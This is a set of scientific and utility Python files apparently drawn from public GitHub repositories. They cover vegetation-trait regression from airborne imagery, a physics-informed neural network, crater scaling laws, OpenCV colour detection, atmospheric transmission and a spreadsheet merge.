plt.ylabel('$LAI$ (m$^2$ m$^{-2}$)')\n# plt.grid()\n# if do_plots == True:\n# plt.savefig('6_HDRF680_vs_LAI.png',dpi=300,bbox_inches='tight')\n\n###########################################################################\n# # YOUR WORK STARTS HERE!\n\n#%% 4) Your turn. Solve the challenge!\nimport xarray\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.base import BaseEstimator\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.preprocessing import MinMaxScaler, RobustScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.decomposition import PCA\nfrom sklearn.gaussian_process.kernels import WhiteKernel, ConstantKernel, Matern\n\ndef stack(x, geometry=False):\n _stacked = x.stack(pix=['row','col'])\n if geometry:\n return np.vstack([_stacked.row.values, _stacked.col.values]).T\n return np.atleast_2d(_stacked.values)\n\ndef preprocess_hsi(x, data_var='var_',\n geometry_vars=[]):\n xnew=[]\n xnew.append(stack(x[data_var]))\n for v in geometry_vars:\n xnew.append(stack(x[v]))\n return np.concatenate(xnew).T\n\ndef to_xarray(x, shape=(100,100,5)):\n return xarray.DataArray(x.reshape(shape).T,\n dims=['dim0','col','row']).transpose('dim0', 'row', 'col')\n\ndef get_pix_n(xs, ys):\n lookup = np.arange(10000).reshape((100,100))\n return lookup[ys, xs]\n\ndef get_window_n(xs, ys, k=[-1,0,1]):\n \"\"\"same as get_pix_n but retrieves a windowed region around point\n \"\"\"\n out = []\n for i in k:\n for j in k:\n out.append(get_pix_n(xs+i, ys+j))\n return np.concatenate(out)\n\ndef to_result_array(x):\n # transpose\n x = x.transpose('row', 'col', ...)\n # fillna with -999\n x = x.fillna(-999)\n try:\n return x.values[:,:, 0]\n except IndexError:\n return x.values\n\nclass RobustScaler1D(RobustScaler):\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def fit(self, X, y=None):\n super().fit(X.reshape((-1,1)), y)\n \n def transform(self, X):\n X_new = super().transform(X.reshape((-1,1)))\n return X_new.ravel()\n \n def fit_transform(self, X, y=None):\n _X = X.reshape((-1,1))\n X_new = super().fit(_X).transform(_X)\n return X_new.ravel()\n \n def inverse_transform(self, X):\n try:\n _X = X.reshape((-1,1))\n return super().inverse_transform(_X).ravel()\n except AttributeError:\n mu = super().inverse_transform(X[0].reshape((-1,1))).ravel()\n lwr = super().inverse_transform((X[0] - X[1]).reshape((-1,1))).ravel()\n SE = mu - lwr\n return mu, SE\n\n# Open all datasets using pandas and xarray\naerial_F = xarray.open_dataset('1_SSC_data/Airborne_F.nc')\naerial_HSI = xarray.open_dataset('1_SSC_data/Airborne_HDRF.nc')\naerial_LST = xarray.open_dataset('1_SSC_data/Airborne_LST.nc')\nfield_data = pd.read_csv('1_SSC_data/FieldData.csv')\nfield_data2 = pd.read_csv('1_SSC_data/FieldData_hh.csv') \n\n# Apply median filtering in spectral domain\naerial_HSI_filtered = aerial_HSI['var_'].rolling({'bands':3}, center=True).median().bfill('bands').ffill('bands')\n\n# generate a 2D dataset\nN_COMPONENTS = 5\n\n# Do a PCA decomposition\nspectral_decomposer = Pipeline(\n [('rescale', RobustScaler(unit_variance=True)),\n ('pca', PCA(n_components=N_COMPONENTS))])\n\nPCs = to_xarray(spectral_decomposer.fit_transform(\n stack(aerial_HSI_filtered).T), (100, 100, -1))\n\n# use a threshold in the first PC to define field boundary region\nfield_boundary = PCs.isel(dim0=0) >= 0\nfield_boundary.plot()\n\n# convert to a standard input format\ngpr_input = preprocess_hsi(xarray.Dataset({'var_':PCs}))\n\n# get the PC features and labels from field data\n\nX = gpr_input[get_window_n(field_data['Xpix']-1, field_data['Ypix']-1, [-1,0,1]),...]\n\n###### LAI #######\nlai_scaler = RobustScaler1D()\n\ny = lai_scaler.fit_transform(np.tile(field_data['LAI'].values, 9))\n\n# Specify Gaussian Kernel\nkernel = Matern(length_scale=np.ones(N_COMPONENTS), nu=5/2, length_scale_bounds=[.1, 1e8]) + \\\nWhiteKernel() \n\n\nGPR_LA = Pipeline([\n ('rescale_pca', MinMaxScaler()),\n ('regressor', GaussianProcessRegressor(kernel=kernel))]\n)\n\n# Fit the GPR\nGPR_LA.fit(X, y)\n\n# Generate predictions\n_prediction_LA, _SE_LA = lai_scaler.inverse_transform(GPR_LA.predict(gpr_input, return_std=True))\nprediction_LA = field_boundary.copy()\nprediction_LA.values = _prediction_LA.reshape((100,100))\nprediction_LA = prediction_LA.where(~field_boundary)\n\nprediction_LA_SE = field_boundary.copy().where(~field_boundary)\nprediction_LA_SE.values = _SE_LA.reshape((100,100))\nprediction_LA_SE = prediction_LA_SE.where(~field_boundary)\n\n###### Cab #######\ncab_scaler = RobustScaler1D() # scale the response var for numerical stability\ny2 = cab_scaler.fit_transform(np.tile(field_data['Cab'].values, 9))\n\n# Specify Gaussian Kernel\nkernel = Matern(length_scale=np.ones(N_COMPONENTS), nu=5/2) + \\\nWhiteKernel()\n\nGPR_cab = Pipeline([\n #('rescale', RobustScaler()),\n #('PCA', PCA(n_components=N_COMPONENTS)),\n ('rescale_pca', MinMaxScaler()),\n ('regressor', GaussianProcessRegressor(kernel=kernel))]\n)\n\n\n# Fit the GPR\nGPR_cab.fit(X, y2)\n\n# Predict Cab\n_prediction_cab, _SE_cab = cab_scaler.inverse_transform(GPR_cab.predict(gpr_input, return_std=True))\nprediction_cab = field_boundary.copy()\nprediction_cab.values = _prediction_cab.reshape((100,100))\nprediction_cab = prediction_cab.where(~field_boundary)\n\nprediction_cab_SE = field_boundary.copy().where(~field_boundary)\nprediction_cab_SE.values = _SE_cab.reshape((100,100))\nprediction_cab_SE = prediction_cab_SE.where(~field_boundary)\n\n###### VCMax #######\nvcmax_scaler = RobustScaler1D()\n\ny3 = np.tile(vcmax_scaler.fit_transform(field_data['Vcmax25'].values),9)\n\n# Specify Gaussian Kernel\nkernel = Matern(length_scale=np.ones(X.shape[1]), nu=5/2) + \\\nWhiteKernel() \n\n\nGPR_vcmax = Pipeline(\n [('rescale_pca', RobustScaler()),\n ('regressor', GaussianProcessRegressor(kernel=kernel))]\n)\n\n# Fit the GPR\nGPR_vcmax.fit(X, y3)\n\n# predict\n_prediction_vcm, _SE_vcm = vcmax_scaler.inverse_transform(GPR_vcmax.predict(gpr_input, return_std=True))\nprediction_vcm = field_boundary.copy()\nprediction_vcm.values = _prediction_vcm.reshape((100,100))\nprediction_vcm = prediction_vcm.where(~field_boundary)\n\nprediction_vcm_SE = field_boundary.copy().where(~field_boundary)\nprediction_vcm_SE.values = _SE_vcm.reshape((100,100))\nprediction_vcm_SE = prediction_vcm_SE.where(~field_boundary)\n\n###### NPQ #######\nnpq_scaler = RobustScaler1D()\n\ngpr_input2 = np.vstack([\n # stack(prediction_cab.fillna(0)),\n stack(prediction_LA.fillna(0)),\n stack(aerial_F['var_'].isel(bands=0)).ravel(),\n stack(aerial_F['var_'].isel(bands=1)).ravel()\n]).T\n\n# larger window for this due to lower GSD of SIF imager\nX2 = gpr_input2[get_window_n(field_data['Xpix']-1, field_data['Ypix']-1, [-2,-1,0,1,2]),...]\ny4 = np.tile(npq_scaler.fit_transform(field_data['NPQ1'].values), 25)\n\n# Specify Gaussian Kernel\nkernel = Matern(length_scale=np.ones(X2.shape[1]), nu=5/2) + \\\nWhiteKernel() \n\n\nGPR_npq = Pipeline(\n [('rescale_pca', RobustScaler()),\n ('regressor', GaussianProcessRegressor(kernel=kernel))]\n)\n\n# Fit the GPR\nGPR_npq.fit(X2, y4)\n\n# predict\n_prediction_npq, _SE_npq = npq_scaler.inverse_transform(GPR_npq.predict(gpr_input2, return_std=True))\nprediction_npq = field_boundary.copy()\nprediction_npq.values = _prediction_npq.reshape((100,100))\nprediction_npq = prediction_npq.where(~field_boundary)\n\nprediction_npq_SE = field_boundary.copy().where(~field_boundary)\nprediction_npq_SE.values = _SE_npq.reshape((100,100))\nprediction_npq_SE = prediction_npq_SE.where(~field_boundary)\n#%% 5) Your turn. Describe your methods\n# Before submitting your results, you need to document the methods you\n# used in a standardized way that will help to summarize the contribution\n# of all the participants. Use any of the MS Word (.doc or .docx) or \n# OpenOffice Writer (.odt) templates: /2_SSC_templates/SSC_report.xxx\n# First, provide your diagnosis of the actual vegetation status. Then,\n# describe the methods you used to estimate each of the variables (and\n# uncertainties if you did). Try to be concise and clear. The descriptions\n# could be included in the supplementary material of the joint manuscript,\n# therefore, take care of English grammar and style.\n# Include references if necessary (Author et al., year) and the full\n# reference at the end of each section.\n\n# # Here, select the filename matching the extension of your methods' file\nout_methods = ori_SSCresults+'SSC_report.docx'\n# out_methods = ori_SSCresults+'SSC_report.doc'\n# out_methods = ori_SSCresults+'SSC_report.odt'\n\n## 6) Your turn. Prepare your results\n# # 6.1) Fill up this dictionary with your personal data\npdata_ = {}\npdata_['name'] = 'Joseph'\npdata_['middle_name'] = 'T.'\npdata_['surname'] = 'Fennell'\npdata_['orcid'] = '0000-0001-6874-6667'\npdata_['institution'] = 'The Open University'\npdata_['department'] = 'School of Environment, Earth and Ecosystem Sciences'\npdata_['address'] = 'The Open University, Walton Hall, Milton Keynes, United Kingdom'\npdata_['email'] = 'joseph.fennell@open.ac.uk'\npdata_['positionexperience'] = 'Research Fellow'\n# This is the name that will be used for the compressed zip folder that \n# will be generate. Normally, it should just be the surname followed by\n# the name. However, if your surname or your name included characters\n# that could not be used for a folder name, write a valid version instead.\npdata_['surname_name4filename'] = pdata_['surname']+pdata_['name']\n\n# # 6.2) Fill up this structure with your estimates and, if you did it, \n# with the estimated uncertainties of your maps. Important, these\n# variables must have the same dimensions [n_rows, n_cols] than the imagery\n# provided, and in the units decribed below\nresults = {}\n\n# # Estimates\nn_rows = 100\nn_cols = 100\nresults['LAI_est'] = to_result_array(prediction_LA) # Estimated map of leaf area index [m^2 m^-2]\nresults['Cab_est'] = to_result_array(prediction_cab) # Estimated map of leaf chlorophyll content [ug cm^-2]\nresults['Vcmax25_est'] = to_result_array(prediction_vcm) # Estimated map of maximum carboxylation rate at 25 ºC [umol cm^-2 s^-1]\nresults['NPQ_est'] = to_result_array(prediction_npq) # Estimated map of maximum carboxylation rate at 25 ºC [umol cm^-2 s^-1]\n\n# # Stress map range between 0 for minimum stress and 1 for maximum stress (leave -999. if you did not estimate them)\nresults['LAI_unc'] = to_result_array(prediction_LA_SE) # Estimated uncertainties of leaf area index [m^2 m^-2]\nresults['Cab_unc'] = to_result_array(prediction_cab_SE) # Estimated uncertainties of leaf chlorophyll content [ug cm^-2]\nresults['Vcmax25_unc'] = to_result_array(prediction_vcm_SE) # Estimated uncertainties of maximum carboxylation rate at 25 ºC [umol cm^-2 s^-1]\nresults['NPQ_unc'] = to_result_array(prediction_npq_SE) # Estimated uncertainties of maximum carboxylation rate at 25 ºC [umol cm^-2 s^-1]\n\n# # Stress map range between 0 for minimum stress and 1 for maximum stress (leave -999. if you did not estimate them)\nresults['stress_est'] = -999.*np.ones([n_rows,n_cols]) # % Estimated map of stress [-]\n\n# # PERFECT!!\n# Now wait for the zip file to be generated and send it by email to the\n# email provided in the contact section \n\n###########################################################################\n# # YOUR WORK ALMOST FINISHES HERE!\n\n#%% 7) Spatial Scaling Challenge. Prepare standard output files\n# # Check if the methods section is included the results folder\nif pdata_['surname_name4filename']=='' or (not exists(out_methods)):\n warnings.warn('The results are not still ready. The zip file will not be produced')\nelse:\n # # Remove first the file if it exists\n if exists(out_netcdf):\n remove(out_netcdf)\n\n # # Create file and variables\n x = nc.Dataset(out_netcdf,'w',format='NETCDF4')\n x.createDimension('n_rows',n_rows)\n x.createDimension('n_cols',n_cols)\n \n # # Add results\n for item in results.items():\n var_name = item[0]\n var_data = item[1]\n var_nc = x.createVariable(var_name,'double',('n_rows','n_cols'))\n var_nc[:,:] = var_data[:,:]\n\n # # Add personal data\n for item in pdata_.items():\n x.setncattr(item[0],item[1])\n x.setncattr('Scrip_SSC', 'Python')\n # # Close file\n x.close()\n \n # # Compress the files to be sent to SENSECO Working Group 1\n zip_fname = ori_SSCresults + pdata_['surname_name4filename'] + '_4sub.zip'\n \n zipObj = ZipFile(zip_fname, 'w')\n zipObj.write(out_netcdf)\n zipObj.write(out_methods)\n zipObj.close()\n # shutil.make_archive(pdata_['surname_name4filename']+'_4subP','zip','3_SSC_results/')\n\n # # Final instructions\n print('Congratulations!! Your results have been stored in the following zip file:\\n')\n print('\\t', zip_fname,'\\n\\n')\n print('Send this file via email to the Spatial Scaling Challenge email adress\\n')\n print('\\t\\t\\n\\n')\n print('Thanks a lot for your participation!\\n')\n print('Looking forward to learn from the community and share the manuscript draft any soon!\\n')\n print('COST Action SENSECO Working Group 1\\n')\n\n","repo_name":"joe-fennell/spatial-scaling-challenge","sub_path":"data/SSC_SENSECOWG1/SSC_script.py","file_name":"SSC_script.py","file_ext":"py","file_size_in_byte":27996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36547248291","text":"import tensorflow as tf\n\nfrom .layer import GradientLayer,BoundaryGradientLayer\n\nclass PINN:\n\n\n def __init__(self, network,D):\n\n\n self.network = network\n self.D = D\n self.grads = GradientLayer(self.network)\n self.boundaryGrad = BoundaryGradientLayer(self.network)\n\n\n\n def build(self):\n\n txy_eqn0 = tf.keras.layers.Input(shape=(3,))\n txy_eqn1 = tf.keras.layers.Input(shape=(3,))\n\n txy_ini = tf.keras.layers.Input(shape=(3,))\n\n txy_bnd_Nernst = tf.keras.layers.Input(shape=(3,))\n txy_bnd_1 = tf.keras.layers.Input(shape=(3,))\n txy_bnd_2 = tf.keras.layers.Input(shape=(3,))\n txy_bnd_3 = tf.keras.layers.Input(shape=(3,))\n txy_bnd_4 = tf.keras.layers.Input(shape=(3,))\n\n ceqn0, dc_dt_eqn0, dc_dx_eqn0,dc_dy_eqn0, d2c_dx2_eqn0,d2c_dy2_eqn0 = self.grads(txy_eqn0)\n c_eqn0 = dc_dt_eqn0 - d2c_dx2_eqn0 - d2c_dy2_eqn0\n\n ceqn1, dc_dt_eqn1, dc_dx_eqn1,dc_dy_eqn1, d2c_dx2_eqn1,d2c_dy2_eqn1 = self.grads(txy_eqn1)\n c_eqn1 = dc_dt_eqn1 - d2c_dx2_eqn1 - d2c_dy2_eqn1\n\n c_ini = self.network(txy_ini)\n\n c_bnd_Nernst = self.network(txy_bnd_Nernst)\n\n cbnd1,dc_dt_bnd1,dc_dx_bnd1,dc_dy_bnd1 = self.boundaryGrad(txy_bnd_1)\n c_bnd_1 = dc_dy_bnd1\n\n cbnd2, dc_dt_bnd2,dc_dx_bnd2,dc_dy_bnd2 = self.boundaryGrad(txy_bnd_2)\n c_bnd_2 = dc_dx_bnd2\n\n c_bnd_3 = self.network(txy_bnd_3)\n c_bnd_4 = self.network(txy_bnd_4)\n\n\n\n\n\n\n\n return tf.keras.models.Model(\n inputs=[txy_eqn0,txy_eqn1,txy_ini,txy_bnd_Nernst,txy_bnd_1,txy_bnd_2,txy_bnd_3,txy_bnd_4], outputs=[c_eqn0,c_eqn1,c_ini,c_bnd_Nernst,c_bnd_1,c_bnd_2,c_bnd_3,c_bnd_4])","repo_name":"nmerovingian/PINN-CV","sub_path":"2D Square Particle/lib/pinn.py","file_name":"pinn.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"39981191996","text":"import numpy as np\n\ndef strength_scaling_momentum(Dr, rho=1500., delta=2000., vvert=1000., strength=1.E5):\n return 821.*(Dr)**3 * (strength/1E5)**0.62 * (rho/1500.)**0.59 \\\n * (delta/2000.)**-0.2 * (vvert/1000.)**-0.23\n\ndef gravity_scaling_momentum(Dr, rho=1500., delta=2000., vvert=1000., gravity=3.71):\n return 79.4*(Dr)**3.6 * (gravity/3.71)**0.61 * (rho/1500.)**1.19 \\\n * (delta/2000.)**-0.19 * (vvert/1000.)**-0.23\n\ndef holsapple(radius, grav, rho_t, rho_i, U, Y0, K1, K2, mu, nu, Kr, Kd):\n # impactor mass (assumes a sphere)\n m = 4. / 3. * np.pi * rho_i * radius**3\n # gravity-scaled impactor size (\\pi_2)\n pi2 = radius * grav / U**2\n # strength-scaled impactor size (\\pi_3)\n pi3 = Y0 / (rho_t * U**2)\n # target-impactor density ratio\n pi4 = rho_t / rho_i\n # exponents\n exp1 = (6 * nu - 2. - mu) / (3. * mu)\n exp2 = (6 * nu - 2.) / (3. * mu)\n exp3 = (2 + mu) / 2.\n exp4 = -3. * mu / (2 + mu)\n # Cratering efficiency (Volume)\n piV = K1 * (pi2 * pi4**exp1 + K2 * (pi3 * pi4**exp2)**exp3)**exp4\n # Crater volume (below preimpact surface)\n V = piV * m / rho_t\n # Crater radius (at preimpact level)\n Rt = Kr * V**(1. / 3.)\n # Crater rim radius\n Rf = 1.3 * Rt\n # scaled crater diameter (rim)\n piD = 2.*Rf*(rho_t/m)**(1./3.)\n # Crater depth (floor to preimpact level)\n d = Kd / Kr * Rt\n # Kinetic energy of impactor\n E = 0.5 * m * U**2\n # Momentum of impactor\n L = m * U\n return pi2, pi3, piV, piD, V, Rt, Rf, d, E, L\n","repo_name":"gsc10/Mars-clusters","sub_path":"gtools/scaling.py","file_name":"scaling.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71105604373","text":"'''\nThis program requires a brief knowledge of L*a*b color space (CIELAB color space) \n'''\n\n'''\nIn order to label and tag regions of an image as containing a certain\ncertain color, the Euclidean distance between dataset of known colors\nand the averages of a particular image region is to be computed.\nThe known color that minimizes the Euclidean distance will be chosen as the color identification.\n'''\n\n'''\n|--- color\n|\t |--- __init__.py\n|\t |--- colorlabeler.py\n|\t |--- shapedetector.py\n|--- detect_color.py\n|--- example_shapes.png\n'''\n\n#import the neccessary packages\nfrom scipy.spatial import distance as dist\nfrom collections import OrderedDict\nimport numpy as np\nimport cv2\n\nclass ColorLabeler:\n\tdef __init__(self):\n\t\t#initialise the colors dictonary, containing the color\n\t\t# name as the key and the RGB tuple as the value\n\t\tcolors = OrderedDict({\n\t\t\t\"red\": (255, 0, 0),\n\t\t\t\"green\": (0, 255, 0),\n\t\t\t\"blue\": (0, 0, 255)\n\t\t\t})\n\n\t\t# allocate memory for the L*a*b image, then initialise\n\t\t# the colour names list\n\t\tself.lab = np.zeros((len(colors), 1, 3), dtype=\"uint8\")\n\t\tself.colorNames = []\n\n\t\t# loop over the colors dictionary\n\t\tfor (i, (name, rgb)) in enumerate(colors.items()):\n\t\t\t# update the L*a*b array and the color names list\n\t\t\tself.lab[i] = rgb\n\t\t\tself.colorNames.append(name)\n\n\t\t# convert the L*a*b array from the RGB color space\n\t\t# to L*a*b\n\t\tself.lab = cv2.cvtColor(self.lab, cv2.COLOR_RGB2LAB)\n\n\tdef label(self, image, c):\n\t\t# construct a mask for the contour, then compute the\n\t\t# average L*a*b value for the masked region\n\t\tmask = np.zeros(image.shape[:2], dtype=\"uint8\")\n\t\tcv2.drawContours(mask, [c], -1, 255, -1)\n\t\tmask = cv2.erode(mask, None, iterations=2)\n\t\tmean = cv2.mean(image, mask=mask)[:3]\n\n\t\t# initialize the minimum distance found thus far\n\t\tminDist = (np.inf, None)\n\n\t\t#loop over the known L*a*b color values\n\t\tfor (i, row) in enumerate(self.lab):\n\t\t\t# computer the distance between the current L*a*b\n\t\t\t# color balue and the mean of the image\n\t\t\td = dist.euclidean(row[0], mean)\n\n\t\t\t# if the distance is smaller than the current distance,\n\t\t\t# then update the book-keeping variable\n\t\t\tif d < minDist[0]:\n\t\t\t\tminDist = (d, i)\n\n\t\t# return the name of the colour with the smallest distance\n\t\treturn self.colorNames[minDist[1]]\n\n\n","repo_name":"kajal-0101/python-image-processing-programs","sub_path":"color_label/color/colorlabeler.py","file_name":"colorlabeler.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1105037555","text":"import numpy as np\nimport cv2 as cv\n\ndef val_change(x):\n pass;\n\ncv.namedWindow('tracking')\n\ncv.createTrackbar('LH', 'tracking', 0, 255, val_change) # LH- lower hue\ncv.createTrackbar('LS', 'tracking', 0, 255, val_change) # LS- lower saturation\ncv.createTrackbar('LV', 'tracking', 0, 255, val_change) # LV- lower value\n\ncv.createTrackbar('UH', 'tracking', 255, 255, val_change)\ncv.createTrackbar('US', 'tracking', 255, 255, val_change)\ncv.createTrackbar('UV', 'tracking', 255, 255, val_change)\n\nwhile True :\n\n frame = cv.imread('smarties.png')\n hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n\n low_hue = cv.getTrackbarPos('LH', 'tracking')\n low_sat = cv.getTrackbarPos('LS', 'tracking')\n low_val = cv.getTrackbarPos('LV', 'tracking')\n\n up_hue = cv.getTrackbarPos('UH', 'tracking')\n up_sat = cv.getTrackbarPos('US', 'tracking')\n up_val = cv.getTrackbarPos('UV', 'tracking')\n\n low_bound = np.array([low_hue, low_sat, low_val])\n up_bound = np.array([up_hue, up_sat, up_val])\n\n mask = cv.inRange(hsv, low_bound, up_bound)\n\n res = cv.bitwise_and(frame, frame, mask = mask)\n\n cv.imshow('frame', frame)\n cv.imshow('mask', mask)\n cv.imshow('res', res)\n\n key = cv.waitKey(1)\n if key == 27:\n break\n\n\ncv.destroyAllWindows()\n\n\n\n","repo_name":"charu11/opencv","sub_path":"demo10.py","file_name":"demo10.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25275112574","text":"'''\nOriginal code by Ben Westbrook, Berkeley sometime in 2013-2014.\n\nLines approximately 90-105 changed by Karl Young, Minnesota Sept 2014. \nChanged to using intensity output by am code (code from CFA website) instead of\ngoing through planck temp as output. Should work the same, but previously I was getting\nnumber about 10x too high for 150 GHz band.\n\n'''\n\n#!/usr/bin/env python\nimport os\nimport pandas\nimport pylab as pl\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef load_single_file(data_path):\n return pandas.read_csv(data_path, sep=' ')\n\ndef load_transmission_data(data_frame):\n return data_frame.ix[:,0], data_frame.ix[:,3].values\n\ndef load_band_information():\n band_directory_path = '/home/westbrook/ebex/branches/leap/resources/bands/'\n bands_dict = {}\n for frequency in [150, 250, 410]:\n full_path = os.path.join(band_directory_path, str(frequency) + 'band_avespect_bin.csv')\n band_data_frame = pandas.read_csv(full_path, sep=',')\n bands_dict[str(frequency)] = [band_data_frame.ix[:,0].values, band_data_frame.ix[:,1].values]\n return bands_dict\n'''\ndef band_vs_transmission_plotter():\n color_dict = {'150': 'r', '250': 'g', '410': 'b'}\n fig = plt.figure(figsize=(9.75, 7.5), dpi=75)\n ax = fig.add_axes([0.13, 0.23, 0.75, 0.70])\n full_path = '/home/westbrook/Python/ebex_tools/ebex6k_mapping_speed/atmospheric_transmission/simulated_atm_models/LDB_at_34p61km.out'\n data_frame = load_single_file(full_path)\n bands_dict = load_band_information()\n frequency_, transmission_ = load_transmission_data(data_frame)\n ax.plot(frequency_, transmission_, 'k', alpha=0.4)\n for frequency, data in bands_dict.iteritems():\n frequency_vector, band_pass_vector = data[0], data[1]\n label = '%s GHz band pass' % frequency\n ax.plot(frequency_vector, band_pass_vector, color=color_dict[frequency], label=label, lw=3.5)\n ax.set_ylim([0.1, 1.01])\n ax.set_xlim([0., 500.0])\n ax.set_ylabel('Normalized Atm Tran, Band Passes', fontsize=20)\n ax.set_xlabel('Frequency (GHz)', fontsize=20)\n ax.set_title('Atmospheric Transmission and EBEX Band Passes', fontsize=17)\n #ax.legend(loc=8, borderaxespad=0., numpoints=1, fontsize=16)\n ax.legend(bbox_to_anchor=(0.500, -0.3), loc=8, borderaxespad=0., numpoints=1, fontsize=16)\n plt.savefig('/home/westbrook/Dropbox/Thesis/Figures/ebex_bands_vs_atmospheric_transmission.pdf')\n fig.show()\n import ipdb;ipdb.set_trace()\n\ndef transmission_plotter(raw_file_name_dict, frequency_low=0., frequency_high=500.):\n location_label_dict = {'Chajnantor': 'Chajnantor, 60 deg, 1.0mm (pwv)',\n 'LDB': 'LDB, 60 deg, 34.61 km (altitude)',\n 'SouthPole': 'South Pole, 60 deg, 1.0mm (pwv)'}\n\n fig = plt.figure(figsize=(9.75, 7.5), dpi=75)\n ax = fig.add_axes([0.13, 0.23, 0.75, 0.70])\n for raw_file_name, plot_color in raw_file_name_dict.iteritems():\n full_path = os.path.join('/home/westbrook/Python/ebex_tools/ebex6k_mapping_speed/atmospheric_transmission/simulated_atm_models',\n raw_file_name)\n data_frame = load_single_file(full_path)\n frequency_vector, transmission_vector = load_transmission_data(data_frame)\n #normalized_transmission_vector = transmission_vector / max(transmission_vector)\n location = raw_file_name.split('_')[0]\n label = location_label_dict[location]\n ax.plot(frequency_vector, transmission_vector, color=plot_color, alpha=0.6, label=label)\n ax.set_ylim([0.1, 1.01])\n ax.set_xlim([0., 500.0])\n ax.set_ylabel('Atmospheric Transmission', fontsize=20)\n ax.set_xlabel('Frequency (GHz)', fontsize=20)\n ax.set_title('Atmospheric Transmission for the South Pole, McMurdo LDB, and Chajnantor', fontsize=17)\n ax.legend(bbox_to_anchor=(0.81, -0.20), loc=5, borderaxespad=0., numpoints=1, fontsize=16)\n plt.savefig('/home/westbrook/Dropbox/Thesis/Figures/Atmospheric_Comparison.pdf')\n fig.show()\n import ipdb;ipdb.set_trace()\n'''\ndef atmospheric_calculator(atmospheric_window_data_path, frequency_low, frequency_high):\n '''\n This function returns the effetive emissivity and transmition of the atmpohsere\n given an atmpospheric transmission data file and a frequency range\n '''\n\n #---CONSTANT---------------------\n h_ = 6.626e-34 # %planck's constant\n k_b = 1.38e-23 # %boltzmann constant J/ K\n c_ = 3e8 # speed of light meters / s\n\n # Load in the atmospheric transimissino data file\n atmosphere_data_frame = load_single_file(atmospheric_window_data_path)\n frequency = atmosphere_data_frame.iloc[:,0] * 1e9 # in Hz\n optical_depth = atmosphere_data_frame.iloc[:,1]\n planck_temp = atmosphere_data_frame.iloc[:,2]\n transmission = atmosphere_data_frame.iloc[:,3]\n intensity = atmosphere_data_frame.iloc[:,4] #adjusting units? testing... #check units! output of am code should be, watt*m-2*Hz-1*sr-1\n '''\n Ben's old code. File seems to be wrong format for this to work.\n frequency = atmosphere_data_frame['Frequency'].values * 1e9 # in Hz\n optical_depth = atmosphere_data_frame['Optical_Depth'].values\n planck_temp = atmosphere_data_frame['Planck_Temp'].values\n transmission = atmosphere_data_frame['Transmission'].values\n '''\n #black_body_ATM = 2*(h_ * frequency ** 3 / (c_ ** 2)) * (1 / (np.e ** ((h_ * frequency) / (planck_temp * k_b)) - 1))\n black_body_ATM2 = intensity #just use intensity from am code, compare to B_nu(277), get effective emiss.\n black_body_277 = 2*(h_ * frequency ** 3 / (c_ ** 2)) * (1/ (np.e ** ((h_ * frequency) / (277 * k_b)) - 1))\n\n #print 'max of intensity', max(intensity), np.mean(intensity)\n #print 'max of 277atm', max(black_body_277), np.mean(black_body_277)\n #Calculate PWV equivalent of emissivity\n in_band_flag = np.logical_and(frequency >= frequency_low, frequency <= frequency_high)\n frequency_band = np.extract(in_band_flag, frequency)\n #blackbody_band_atm = np.extract(in_band_flag, black_body_ATM)\n blackbody_band_atm2 = np.extract(in_band_flag, black_body_ATM2)\n blackbody_band_277 = np.extract(in_band_flag, black_body_277)\n transmission_band = np.extract(in_band_flag, transmission)\n\n #integrated_blackbody_band_atm = np.trapz(blackbody_band_atm, frequency_band)\n integrated_blackbody_band_277 = np.trapz(blackbody_band_277, frequency_band)\n integrated_blackbody_band_atm2 = np.trapz(blackbody_band_atm2, frequency_band) ###\n #print 'atm blackbody, integrated', integrated_blackbody_band_atm\n #print 'atm2 blackbody, integrated', integrated_blackbody_band_atm2\n #print '277 blackbody, integrated', integrated_blackbody_band_277\n\n effective_emissivity = integrated_blackbody_band_atm2 / integrated_blackbody_band_277\n mean_transmission = np.mean(transmission_band)\n return (effective_emissivity, mean_transmission)\n\n\n\n\nif __name__ == '__main__':\n raw_file_name_dict = {'Chajnantor_at_60deg_1p0mmH20.out': 'r',\n 'SouthPole_60Deg1p0mm.out': 'b',\n 'LDB_at_34p61km.out': 'k'}\n band_vs_transmission_plotter()\n #transmission_plotter(raw_file_name_dict)\n\n","repo_name":"ksyoung/load_and_sensitivity","sub_path":"atmospheric_calculator.py","file_name":"atmospheric_calculator.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19821592247","text":"import pandas as pd\n\n\nx_path = r'E:\\TEMP\\01YZ\\车牌对应' + '\\\\'\nt_exle = 'all_.xls'\nchepai_exle = '2020年7月云浮中学教职工小车车牌登记表+++.xls'\nsave_file = 'save_all.xls'\ndaoru_file = r'E:\\TEMP\\01YZ\\车牌对应\\导入老师_20200816.xls'\n\n\nte = pd.read_excel(x_path + t_exle, index=False)\nchepai = pd.read_excel(x_path + chepai_exle, index=False)\nchepai.drop(['序号'], axis=1, inplace=True)\n# print(te)\n# print(chepai)\n\n# 车牌'姓名', '小车车牌号码1'去重\n# print(chepai)\nchepai_1 = chepai.drop_duplicates(subset=['姓名', '小车车牌号码1'], keep='first')\n# print(chepai_1)\n\n\ndf = pd.merge(te, chepai_1, on=['姓名','姓名'], how='left')\n# print(df)\ndf.to_excel(x_path + save_file, index=False)\n\n# # 获取重复索引,然后取交集,然后筛选出来。该方法保留了原来的索引,缺点是数据原索引不能有重复\n# t = chepai\n# index1 = t[t[['姓名']].duplicated(keep=\"last\")].index\n# index2 = t[t[['姓名']].duplicated(keep=\"first\")].index\n# t1 = t.loc[index1 | index2, :]\n# 